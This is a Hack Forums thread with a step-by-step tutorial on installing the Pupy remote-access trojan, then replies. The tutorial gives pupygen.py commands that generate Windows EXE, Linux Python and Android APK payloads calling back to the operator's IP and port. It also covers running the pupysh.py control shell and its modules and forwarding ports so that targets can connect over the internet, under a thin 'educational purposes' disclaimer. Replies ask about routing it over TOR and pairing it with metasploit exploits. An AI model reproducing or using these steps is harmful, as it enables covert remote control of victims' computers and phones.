[Tutorial] How to Setup Pupy RAT for Windows, Linux and Android - Opensource [2017]

[Tutorial] How to Setup Pupy RAT for Windows, Linux and Android - Opensource [2017] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+----- Forum: Hacking Tutorials (https://hackforums.net/forumdisplay.php?fid=47)
+----- Thread: [Tutorial] How to Setup Pupy RAT for Windows, Linux and Android - Opensource [2017] (/showthread.php?tid=5419538)

Pages: Pages 1 2 3 4

[Tutorial] How to Setup Pupy RAT for Windows, Linux and Android - Opensource [2017] - Decim - Oct 5, 2016

If you would rather watch a video guide with vocal instructions, check this out:

What is Pupy?
Pupy is an opensource, multi-platform (Windows, Linux, OSX, Android), multi function RAT (Remote Administration Tool) and post-exploitation tool mainly written in python.
It features a all-in-memory execution guideline and leaves very low footprint. Pupy can communicate using various transports, migrate into processes (reflective injection), load remote python code, python packages and python C-extensions from memory.
Read more: https://github.com/n1nj4sec/pupy

In this tutorial, I'll be showing you how to setup Pupy and generate payloads for Windows, Linux and Android.

Warning
This guide is meant for educational purposes only, accessing other people's computers without appropriate permissions is illegal and I don't condone it in any way.
I am not responsible for your actions.

Getting Started...
To get started, head over to the official Pupy GitHub repo and download the entire project as a zip file.

[Image: a9dd1c3f47.png]

Extract the contents of the archive and read the text file titled 'Requirements.txt' inside the folder.
This text file contains the list of packages required for setting up Pupy - make sure you install all of them.

Generating The Payload
Once you're done installing all the packages, we're ready to generate our payload.

For this, open a terminal window in the directory which contains the 'pupygen.py' file and type:

Code 
./pupygen.py

You should now be able to see the proper usage/parameters to be used while generating the payload.
[Image: 5303e6c24f.png]

Now open a different terminal and type in the following command to find your IP address:

Code 
ifconfig

The highlighted IP address is the one to which you want your target machines to connect.
Note it down and close the terminal.

Here are the commands for generating payloads for Windows, Linux and Android respectively.
[Image: 1741c377d2.png]

Windows:

Code 
./pupygen.py -f exe_x86 -o <FileName>.exe connect --host <IP:Port>

Replace IP:Port with the IP address that we obtained in the above step and any valid port number that is not currently in use.
For targeting 64bit machines, change exe_x86 to exe_x64.

Linux:

Code 
./pupygen.py -f py -o <FileName>.py connect --host <IP:Port>

Android:

Code 
./pupygen.py -f apk -o <FileName>.apk connect --host <IP:Port>

If everything went well, it should say "payload successfully generated" and the payload should be visible in the same folder.

Remote Administration
To begin remote administration once the payload has been deployed, open another terminal in the same folder and type in:

Code 
./pupysh.py

That will open up the Pupy shell. If it says "Server started on port <PORTNUMBER> with transport ssl", it means your port number was valid and not in use and you're all set to accept the connecting from the target machine.
Input a question mark (?) to get the list of all the available commands.
[Image: 54ab636189.png]

To see all the available modules, type in:

Code 
list_modules

To use a particular module, follow the format:

Code 
run <MODULE NAME>

If a module requires additional parameters, that will be specified.

Once you're done remotely administrating the machine, use the following command to disconnect all the clients:

Code 
run general/exit

Conclusion
This works over LAN. If you wish to do this over the internet, find your public IP address online and make sure that the port you select is appropriately forwarded.

A simple Windows 32bit payload generated by Pupy is around 6MB in size (pretty big) and it is in no way perfect. But it is free and opensource!
Keep that in mind while using Pupy.

That's pretty much it.
If you have any questions, feel free to ask.

- Arcanecfg.

* - citscloud - Oct 6, 2016

Nice tips, thanks for sharing...!!

* - DrDoktor - Oct 6, 2016

Can you make this so you can connect over TOR?

* - FookingHostile - Oct 18, 2016

Thank you for sharing this.
I will be messing around with this in a few days.

* - mistarp - Oct 18, 2016

Would you prefer this rat over darkcomet?

* - Decim - Oct 19, 2016

(Oct 18, 2016 06:13 PM)FookingHostile Wrote: Thank you for sharing this.
I will be messing around with this in a few days.

Good luck.

(Oct 18, 2016 07:10 PM)mistarp Wrote: Would you prefer this rat over darkcomet?

I would not, but this is a great alternative.

* - Eliyaoo32 - Oct 20, 2016

Thank you really much, I really liked your video,
If you make a video about how to write modules and more about how it works inside it may be really nice

* - johnripper - Oct 21, 2016

Iam wondering can we use metasploit exploits in this?

* - Kakichan - Oct 22, 2016

thank you for sharing it buddy :)

* - Icabaddi - Oct 23, 2016

Thank your for sharing , it's cool

* - W1nt3r.St0rm - Oct 30, 2016

Nice! Thaks dude! :)
Have a nice day! ;)

* - Mr.DoomHead - Oct 30, 2016

I set this up on Kali and it worked well :) granted I have only messed around on my home network, but it does its job none the less

* - Billyocean25 - Nov 6, 2016

Thanks for the info I will try it out.

* - Decim - Nov 8, 2016

I haven't yet tried the Windows payload. If anyone has, let me know how that turned out.

* - Mr. Robot - Nov 8, 2016

Ok then. At least it has more effort put into it.
https://hackforums.net/showthread.php?tid=5415330